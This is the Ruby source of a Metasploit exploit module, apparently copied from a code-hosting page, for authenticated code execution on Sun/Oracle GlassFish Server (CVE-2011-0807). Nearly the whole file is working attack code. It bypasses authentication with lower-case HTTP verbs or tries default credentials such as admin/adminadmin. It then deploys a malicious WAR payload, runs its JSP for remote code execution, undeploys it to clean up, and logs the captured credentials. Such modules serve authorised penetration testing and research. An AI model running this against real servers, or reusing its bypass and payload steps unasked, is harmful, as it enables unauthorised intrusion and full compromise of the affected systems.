824 lines
26 KiB
Ruby
824 lines
26 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'nokogiri'
|
|
require 'metasploit/framework/login_scanner/glassfish'
|
|
require 'metasploit/framework/credential_collection'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::EXE
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Sun/Oracle GlassFish Server Authenticated Code Execution",
|
|
'Description' => %q{
|
|
This module logs in to an GlassFish Server (Open Source or Commercial) using various
|
|
methods (such as authentication bypass, default credentials, or user-supplied login),
|
|
and deploys a malicious war file in order to get remote code execution. It has been
|
|
tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer
|
|
GlassFish versions do not allow remote access (Secure Admin) by default, but is required
|
|
for exploitation.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'juan vazquez', # Msf module for Glassfish 3.0
|
|
'Joshua Abraham <jabra[at]rapid7.com>', # Glassfish 3.1, 2.x & Sun Java System Application Server 9.1
|
|
'sinn3r' # Rewrite for everything
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-0807'],
|
|
['OSVDB', '71948']
|
|
],
|
|
'Platform' => ['win', 'linux', 'java'],
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { } ],
|
|
[ 'Java Universal', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' } ],
|
|
[ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
|
|
[ 'Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
|
|
],
|
|
'DisclosureDate' => "Aug 4 2011",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(4848),
|
|
OptString.new('APP_RPORT',[ true, 'The Application interface port', '8080']),
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
|
|
OptString.new('TARGETURI', [ true, "The URI path of the GlassFish Server", '/']),
|
|
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false])
|
|
], self.class)
|
|
end
|
|
|
|
#
|
|
# Send GET or POST request, and return the response
|
|
#
|
|
def send_glassfish_request(path, method, session='', data=nil, ctype=nil)
|
|
headers = {}
|
|
headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank?
|
|
headers['Content-Type'] = ctype if ctype
|
|
|
|
res = send_request_raw({
|
|
'uri' => path,
|
|
'method' => method,
|
|
'data' => data,
|
|
'headers' => headers,
|
|
})
|
|
|
|
unless res
|
|
fail_with(Failure::Unknown, 'Connection timed out')
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
#
|
|
# Return target
|
|
#
|
|
def auto_target(session, res, version)
|
|
print_status("Attempting to automatically select a target...")
|
|
|
|
res = query_serverinfo(session, version)
|
|
return nil unless res
|
|
return nil unless res.body
|
|
|
|
plat = detect_platform(res.body)
|
|
arch = detect_arch(res.body)
|
|
|
|
# No arch or platform found?
|
|
return nil if !arch || !plat
|
|
|
|
# see if we have a match
|
|
targets.each do |t|
|
|
return t if (t['Platform'] == plat) && (t['Arch'] == arch)
|
|
end
|
|
|
|
# no matching target found
|
|
nil
|
|
end
|
|
|
|
#
|
|
# Return platform (win, linux, or osx)
|
|
#
|
|
def detect_platform(body)
|
|
body.each_line do |ln|
|
|
ln.chomp!
|
|
case ln
|
|
when /os\.name = (.*)/
|
|
os = $1
|
|
case os
|
|
when /Windows/
|
|
return 'win'
|
|
when /Linux/
|
|
return 'linux'
|
|
when /Mac OS X/
|
|
return 'osx'
|
|
end
|
|
end
|
|
end
|
|
|
|
return 'java'
|
|
end
|
|
|
|
#
|
|
# Return ARCH
|
|
#
|
|
def detect_arch(body)
|
|
body.each_line do |ln|
|
|
ln.chomp!
|
|
case ln
|
|
when /os\.arch = (.*)/
|
|
ar = $1
|
|
case ar
|
|
when 'x86', 'i386', 'i686'
|
|
return ARCH_X86
|
|
when 'x86_64', 'amd64'
|
|
return ARCH_X86
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
#
|
|
# Return server information
|
|
#
|
|
def query_serverinfo(session,version)
|
|
res = ''
|
|
|
|
if version == '2.x' || version == '9.x'
|
|
path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
|
|
res = send_glassfish_request(path, @verbs['GET'], session)
|
|
else
|
|
path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
|
|
res = send_glassfish_request(path, @verbs['GET'], session)
|
|
|
|
if !res || res.code != 200 || res.body.to_s !~ /Operating System Information/
|
|
path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
|
|
res = send_glassfish_request(path, @verbs['GET'], session)
|
|
end
|
|
end
|
|
|
|
if !res || res.code != 200
|
|
print_error("Failed: Error requesting #{path}")
|
|
return nil
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
#
|
|
# Return viewstate and entry before deleting a GlassFish application
|
|
#
|
|
def get_delete_info(session, version, app='')
|
|
if version == '2.x' || version == '9.x'
|
|
path = '/applications/webApplications.jsf'
|
|
res = send_glassfish_request(path, @verbs['GET'], session)
|
|
|
|
if !res || res.code != 200
|
|
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
|
|
return nil
|
|
end
|
|
|
|
input_id = "javax.faces.ViewState"
|
|
p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
|
|
viewstate = res.body.scan(p)[0][0]
|
|
|
|
entry = nil
|
|
p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
|
|
results = res.body.scan(p)
|
|
|
|
results.each do |hit|
|
|
if hit[1] =~ /^#{app}/
|
|
entry = hit[0]
|
|
entry << "col0:select"
|
|
end
|
|
end
|
|
|
|
else
|
|
path = '/common/applications/applications.jsf?bare=true'
|
|
res = send_glassfish_request(path, @verbs['GET'], session)
|
|
|
|
if !res || res.code != 200
|
|
print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
|
|
return nil
|
|
end
|
|
|
|
viewstate = get_viewstate(res.body)
|
|
|
|
entry = nil
|
|
p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
|
|
results = res.body.scan(p)
|
|
|
|
results.each do |hit|
|
|
if hit[1] =~ /^#{app}/
|
|
entry = hit[0]
|
|
entry << "col0:select"
|
|
end
|
|
end
|
|
end
|
|
|
|
if !viewstate
|
|
print_error("Failed: Error getting ViewState")
|
|
return nil
|
|
elsif !entry
|
|
print_error("Failed: Error getting the entry to delete")
|
|
end
|
|
|
|
return viewstate, entry
|
|
end
|
|
|
|
#
|
|
# Send an "undeploy" request to Glassfish and remove our backdoor
|
|
#
|
|
def undeploy(viewstate, session, entry)
|
|
#Send undeployment request
|
|
data = [
|
|
"propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
|
|
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
|
|
"&#{Rex::Text.uri_encode(entry)}=true",
|
|
"&propertyForm%3AhelpKey=ref-applications.html",
|
|
"&propertyForm_hidden=propertyForm_hidden",
|
|
"&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
|
|
"&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
|
|
"&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
|
|
"&javax.faces.partial.execute=%40all",
|
|
"&javax.faces.partial.render=%40all",
|
|
"&bare=true",
|
|
"&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
|
|
"&javax.faces.partial.ajax=true"
|
|
].join()
|
|
|
|
path = '/common/applications/applications.jsf'
|
|
ctype = 'application/x-www-form-urlencoded'
|
|
|
|
res = send_glassfish_request(path, @verbs['POST'], session, data, ctype)
|
|
if !res
|
|
print_error("Undeployment failed on #{path} - No Response")
|
|
else
|
|
if res.code < 200 || res.code >= 300
|
|
print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
|
|
end
|
|
end
|
|
end
|
|
|
|
def report_glassfish_version(banner)
|
|
report_note(
|
|
host: rhost,
|
|
type: 'glassfish.banner',
|
|
data: banner,
|
|
update: :unique_data
|
|
)
|
|
end
|
|
|
|
#
|
|
# Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
|
|
# banner (ex: Sun Java System Application Server 9.x)
|
|
#
|
|
def get_version(res)
|
|
# Extract banner from response
|
|
banner = res.headers['Server']
|
|
|
|
# Default value for edition and glassfish version
|
|
edition = 'Commercial'
|
|
version = 'Unknown'
|
|
|
|
# Set edition (Open Source or Commercial)
|
|
p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
|
|
edition = 'Open Source' if banner =~ p
|
|
|
|
# Set version. Some GlassFish servers return banner "GlassFish v3".
|
|
if banner =~ /(GlassFish Server|Open Source Edition) {1,}(\d\.\d)/
|
|
version = $2
|
|
elsif banner =~ /GlassFish v(\d)/ && version == 'Unknown'
|
|
version = $1
|
|
elsif banner =~ /Sun GlassFish Enterprise Server v2/ && version == 'Unknown'
|
|
version = '2.x'
|
|
elsif banner =~ /Sun Java System Application Server 9/ && version == 'Unknown'
|
|
version = '9.x'
|
|
end
|
|
|
|
if version == nil || version == 'Unknown'
|
|
print_status("Unsupported version: #{banner}")
|
|
end
|
|
|
|
report_glassfish_version(banner)
|
|
|
|
return edition, version, banner
|
|
end
|
|
|
|
#
|
|
# Return the formatted version of the POST data
|
|
#
|
|
def format_2_x_war(boundary,name,value=nil, war=nil)
|
|
data = ''
|
|
|
|
data << boundary
|
|
data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
|
|
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
|
|
data << war
|
|
data << "\r\n"
|
|
|
|
return data
|
|
end
|
|
|
|
#
|
|
# Return the formatted version of the POST data
|
|
#
|
|
def format(boundary,name,value=nil, war=nil)
|
|
data = ''
|
|
|
|
if war
|
|
data << boundary
|
|
data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
|
|
data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
|
|
data << war
|
|
data << "\r\n"
|
|
else
|
|
data << boundary
|
|
data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
|
|
data << "\r\n\r\n"
|
|
data << "#{value}\r\n"
|
|
end
|
|
|
|
return data
|
|
end
|
|
|
|
#
|
|
# Return POST data and data length, based on GlassFish edition
|
|
#
|
|
def get_upload_data(opts = {})
|
|
boundary = opts[:boundary]
|
|
version = opts[:version]
|
|
war = opts[:war]
|
|
app_base = opts[:app_base]
|
|
typefield = opts[:typefield]
|
|
status_checkbox = opts[:status_checkbox]
|
|
start = opts[:start]
|
|
viewstate = opts[:viewstate]
|
|
|
|
data = ''
|
|
|
|
if version == '3.0'
|
|
|
|
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
|
|
uploadparam_data = "form:sheet1:section1:prop1:fileupload"
|
|
|
|
boundary = "--#{boundary}"
|
|
|
|
data = [
|
|
format(boundary, app_base, nil, war),
|
|
format(boundary, uploadParam_name, uploadparam_data),
|
|
format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
|
|
format(boundary, "form:sheet1:section1:prop1:action", "client"),
|
|
format(boundary, typefield, "war"),
|
|
format(boundary, "form:war:psection:cxp:ctx", app_base),
|
|
format(boundary, "form:war:psection:nameProp:appName", app_base),
|
|
format(boundary, "form:war:psection:vsProp:vs", ""),
|
|
format(boundary, status_checkbox, "true"),
|
|
format(boundary, "form:war:psection:librariesProp:library", ""),
|
|
format(boundary, "form:war:psection:descriptionProp:description", ""),
|
|
format(boundary, "form_hidden", "form_hidden"),
|
|
format(boundary, "javax.faces.ViewState", viewstate),
|
|
"#{boundary}--"
|
|
].join()
|
|
elsif version == '2.x' || version == '9.x'
|
|
|
|
uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
|
|
uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"
|
|
|
|
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
|
|
focusElementId_data = 'form:title:topButtons:uploadButton'
|
|
|
|
boundary = "-----------------------------#{boundary}"
|
|
|
|
data = [
|
|
format_2_x_war(boundary, app_base, nil, war),
|
|
format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
|
|
format(boundary, "uploadRdBtn", "client"),
|
|
format(boundary, uploadParam_name, uploadParam_data),
|
|
format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
|
|
format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
|
|
format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
|
|
format(boundary, "form:title:ps:psec:vsp:vs", ""),
|
|
format(boundary, status_checkbox, "true"),
|
|
format(boundary, "form:title:ps:psec:librariesProp:library", ""),
|
|
format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
|
|
format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
|
|
format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
|
|
format(boundary, "form:helpKey", "uploaddev.html"),
|
|
format(boundary, "form_hidden", "form_hidden"),
|
|
format(boundary, "javax.faces.ViewState", viewstate),
|
|
format(boundary, focusElementId_name, focusElementId_data),
|
|
"#{boundary}--"
|
|
].join()
|
|
else
|
|
|
|
boundary = "-----------------------------#{boundary}"
|
|
|
|
#Setup dynamic arguments
|
|
num1 = start.to_i
|
|
num2 = num1 + 14
|
|
num3 = num2 + 2
|
|
num4 = num3 + 2
|
|
num5 = num4 + 2
|
|
num6 = num5 + 2
|
|
num7 = num6 + 1
|
|
|
|
id0 = num4
|
|
id1 = num4 + 1
|
|
id2 = num4 + 2
|
|
id3 = num4 + 3
|
|
id4 = num4 + 4
|
|
id5 = num4 + 5
|
|
id6 = num4 + 6
|
|
id7 = num4 + 7
|
|
id8 = num4 + 8
|
|
id9 = num4 + 9
|
|
|
|
uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
|
|
uploadParam_value = "form:sheet1:section1:prop1:fileupload"
|
|
|
|
focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
|
|
focusElementId_data = "form:title2:bottomButtons:uploadButton"
|
|
|
|
data = [
|
|
format(boundary,"uploadRdBtn","client"),
|
|
## web service
|
|
format(boundary, app_base, nil, war),
|
|
## sheet1
|
|
format(boundary, uploadParam_name, uploadParam_value),
|
|
format(boundary,"form:sheet1:section1:prop1:extension",".war"),
|
|
format(boundary,"form:sheet1:section1:prop1:action","client"),
|
|
format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
|
|
format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
|
|
format(boundary,"form:appClient:psection:descriptionProp:description"),
|
|
## war
|
|
format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
|
|
format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
|
|
format(boundary,"form:war:psection:vsProp:vs"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
|
|
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
|
|
format(boundary,"form:war:psection:librariesProp:library"),
|
|
format(boundary,"form:war:psection:descriptionProp:description"),
|
|
format(boundary,"form_hidden","form_hidden"),
|
|
format(boundary,"javax.faces.ViewState","#{viewstate}"),
|
|
format(boundary, focusElementId_name, focusElementId_data)
|
|
].join()
|
|
|
|
item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
|
|
item_list_data = "|server|com.sun.webui.jsf.separator|"
|
|
|
|
item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
|
|
item_value_data = "server"
|
|
|
|
data << format(boundary, item_list_name, item_list_data)
|
|
data << format(boundary, item_value_name, item_value_data)
|
|
data << "#{boundary}--"
|
|
data << "\r\n\r\n"
|
|
|
|
end
|
|
|
|
return data
|
|
end
|
|
|
|
def get_viewstate(body)
|
|
@vewstate ||= lambda {
|
|
noko = Nokogiri::HTML(body)
|
|
inputs = noko.search('input')
|
|
hidden_inputs = []
|
|
inputs.each {|e| hidden_inputs << e if e.attributes['type'].text == 'hidden'}
|
|
hidden_inputs.each do |e|
|
|
if e.attributes['name'].text == 'javax.faces.ViewState'
|
|
return e.attributes['value'].text
|
|
end
|
|
end
|
|
|
|
''
|
|
}.call
|
|
end
|
|
|
|
#
|
|
# Upload our payload, and execute it. This function will also try to automatically
|
|
# clean up after itself.
|
|
#
|
|
def upload_exec(opts = {})
|
|
session = opts[:session]
|
|
app_base = opts[:app_base]
|
|
jsp_name = opts[:jsp_name]
|
|
war = opts[:war]
|
|
edition = opts[:edition]
|
|
version = opts[:version]
|
|
|
|
if version == '2.x' || version == '9.x'
|
|
path = "/applications/upload.jsf?appType=webApp"
|
|
res = send_glassfish_request(path, @verbs['GET'], session)
|
|
|
|
# Obtain some properties
|
|
p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
|
|
viewstate = get_viewstate(res.body)
|
|
status_checkbox = res.body.scan(p2)[0][0]
|
|
boundary = rand_text_alphanumeric(28)
|
|
else
|
|
path = "/common/applications/uploadFrame.jsf"
|
|
res = send_glassfish_request(path, @verbs['GET'], session)
|
|
|
|
# Obtain some properties
|
|
res.body =~ /propertySheetSection(\d{3})/
|
|
start = $1
|
|
p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
|
|
p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/
|
|
|
|
rnd_text = rand_text_alphanumeric(29)
|
|
|
|
viewstate = get_viewstate(res.body)
|
|
typefield = res.body.scan(p2)[0][0]
|
|
status_checkbox = res.body.scan(p3)[0][0]
|
|
boundary = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
|
|
end
|
|
|
|
# Get upload data
|
|
if version == '3.0'
|
|
ctype = "multipart/form-data; boundary=#{boundary}"
|
|
elsif version == '2.x' || version == '9.x'
|
|
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
|
|
typefield = ''
|
|
start = ''
|
|
else
|
|
ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
|
|
end
|
|
|
|
post_data = get_upload_data({
|
|
:boundary => boundary,
|
|
:version => version,
|
|
:war => war,
|
|
:app_base => app_base,
|
|
:typefield => typefield,
|
|
:status_checkbox => status_checkbox,
|
|
:start => start,
|
|
:viewstate => viewstate
|
|
})
|
|
|
|
# Upload our payload
|
|
if version == '2.x' || version == '9.x'
|
|
path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
|
|
else
|
|
path = '/common/applications/uploadFrame.jsf?'
|
|
path << 'form:title:topButtons:uploadButton=Processing...'
|
|
path << '&bare=false'
|
|
end
|
|
|
|
res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype)
|
|
|
|
# Print upload result
|
|
if res.code == 302
|
|
print_status("Successfully uploaded")
|
|
else
|
|
print_error("Error uploading #{res.code}")
|
|
return
|
|
end
|
|
|
|
#Execute our payload using the application interface (no need to use auth bypass technique)
|
|
jsp_path = normalize_uri(target_uri.path, app_base, "#{jsp_name}.jsp")
|
|
nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
}
|
|
)
|
|
|
|
print_status("Executing #{jsp_path}...")
|
|
req = nclient.request_raw({
|
|
'uri' => jsp_path,
|
|
'method' => 'GET',
|
|
})
|
|
|
|
if req
|
|
res = nclient.send_recv(req, 90)
|
|
else
|
|
print_status("Error: #{rhost} did not respond on #{app_rport}.")
|
|
end
|
|
|
|
# Sleep for a bit before cleanup
|
|
select(nil, nil, nil, 5)
|
|
|
|
# Start undeploying
|
|
print_status("Getting information to undeploy...")
|
|
viewstate, entry = get_delete_info(session, version, app_base)
|
|
if !viewstate
|
|
fail_with(Failure::Unknown, "Unable to get viewstate")
|
|
elsif (not entry)
|
|
fail_with(Failure::Unknown, "Unable to get entry")
|
|
end
|
|
|
|
print_status("Undeploying #{app_base}...")
|
|
undeploy(viewstate, session, entry)
|
|
|
|
print_status("Undeployment complete.")
|
|
end
|
|
|
|
def init_loginscanner
|
|
@cred_collection = Metasploit::Framework::CredentialCollection.new
|
|
|
|
@scanner = Metasploit::Framework::LoginScanner::Glassfish.new(
|
|
configure_http_login_scanner(
|
|
cred_details: @cred_collection,
|
|
connection_timeout: 5
|
|
)
|
|
)
|
|
end
|
|
|
|
def report_auth_bypass(version)
|
|
report_vuln(
|
|
name: 'GlassFish HTTP Method Authentication Bypass',
|
|
info: "The remote service has a vulnerable version of GlassFish (#{version}) that allows the " \
|
|
'attacker to bypass authentication by sending an HTTP verb in lower-case.',
|
|
host: rhost,
|
|
port: rport,
|
|
proto: 'tcp',
|
|
refs: self.references
|
|
)
|
|
end
|
|
|
|
def try_glassfish_auth_bypass(version)
|
|
sid = nil
|
|
|
|
if version == '2.x' || version == '9.x'
|
|
print_status("Trying auth bypass...")
|
|
res = send_glassfish_request('/applications/upload.jsf', 'get')
|
|
title = '<title>Deploy Enterprise Applications/Modules</title>'
|
|
if res && res.code.to_i == 200 && res.body.include?(title)
|
|
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
|
|
end
|
|
else
|
|
# 3.0
|
|
print_status("Trying auth bypass...")
|
|
res = send_glassfish_request('/common/applications/uploadFrame.jsf', 'get')
|
|
title = '<title>Deploy Applications or Modules'
|
|
if res && res.code.to_i == 200 && res.body.include?(title)
|
|
sid = res.get_cookies.to_s.scan(/JSESSIONID=(.*); */).flatten.first
|
|
end
|
|
end
|
|
|
|
report_auth_bypass(version) if sid
|
|
|
|
sid
|
|
end
|
|
|
|
def my_target_host
|
|
my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}"
|
|
end
|
|
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: rhost,
|
|
port: rport,
|
|
service_name: 'glassfish',
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
module_fullname: fullname,
|
|
post_reference_name: self.refname,
|
|
private_data: opts[:password],
|
|
origin_type: :service,
|
|
private_type: :password,
|
|
username: opts[:user]
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
last_attempted_at: DateTime.now
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def try_normal_login(version)
|
|
init_loginscanner
|
|
|
|
case version
|
|
when /2\.x|9\.x/
|
|
@cred_collection.prepend_cred(
|
|
Metasploit::Framework::Credential.new(
|
|
public: 'admin',
|
|
private: 'adminadmin',
|
|
private_type: :password
|
|
))
|
|
when /^3\./
|
|
@cred_collection.prepend_cred(
|
|
Metasploit::Framework::Credential.new(
|
|
public: 'admin',
|
|
private: '',
|
|
private_type: :password
|
|
))
|
|
end
|
|
|
|
@cred_collection.prepend_cred(
|
|
Metasploit::Framework::Credential.new(
|
|
public: datastore['USERNAME'],
|
|
private: datastore['PASSWORD'],
|
|
private_type: :password
|
|
))
|
|
|
|
@scanner.send_request({'uri'=>normalize_uri(target_uri.path)})
|
|
@scanner.version = version
|
|
@cred_collection.each do |raw|
|
|
cred = raw.to_credential
|
|
print_status("Trying to login as #{cred.public}:#{cred.private}")
|
|
result = @scanner.attempt_login(cred)
|
|
if result.status == Metasploit::Model::Login::Status::SUCCESSFUL
|
|
report_cred(user: cred.public, password: cred.private)
|
|
return @scanner.jsession
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def attempt_login(version)
|
|
sid = nil
|
|
|
|
if version =~ /3\.0|2\.x|9\.x/
|
|
sid = try_glassfish_auth_bypass(version)
|
|
return sid if sid
|
|
end
|
|
|
|
try_normal_login(version)
|
|
end
|
|
|
|
def make_war(selected_target)
|
|
p = exploit_regenerate_payload(selected_target.platform, selected_target.arch)
|
|
|
|
jsp_name = rand_text_alphanumeric(4+rand(32-4))
|
|
app_base = rand_text_alphanumeric(4+rand(32-4))
|
|
|
|
war = p.encoded_war({
|
|
:app_name => app_base,
|
|
:jsp_name => jsp_name,
|
|
:arch => selected_target.arch,
|
|
:platform => selected_target.platform
|
|
}).to_s
|
|
|
|
return app_base, jsp_name, war
|
|
end
|
|
|
|
def exploit
|
|
# Invoke index to gather some info
|
|
res = send_glassfish_request('/common/index.jsf', 'GET')
|
|
|
|
if res.code == 302
|
|
res = send_glassfish_request('/login.jsf', 'GET')
|
|
end
|
|
|
|
# Get GlassFish version
|
|
edition, version, banner = get_version(res)
|
|
print_status("Glassfish edition: #{banner}")
|
|
|
|
# Set HTTP verbs. Lower-case is used to bypass auth on v3.0
|
|
@verbs = {
|
|
'GET' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'get' : 'GET',
|
|
'POST' => (version == '3.0' || version == '2.x' || version == '9.x') ? 'post' : 'POST',
|
|
}
|
|
|
|
sid = attempt_login(version)
|
|
|
|
unless sid
|
|
fail_with(Failure::NoAccess, "#{my_target_host()} - GlassFish - Failed to authenticate")
|
|
end
|
|
|
|
selected_target = target.name =~ /Automatic/ ? auto_target(sid, res, version) : target
|
|
fail_with(Failure::NoTarget, "Unable to automatically select a target") unless selected_target
|
|
|
|
app_base, jsp_name, war = make_war(selected_target)
|
|
print_status("Uploading payload...")
|
|
res = upload_exec({
|
|
:session => sid,
|
|
:app_base => app_base,
|
|
:jsp_name => jsp_name,
|
|
:war => war,
|
|
:edition => edition,
|
|
:version => version
|
|
})
|
|
end
|
|
end
|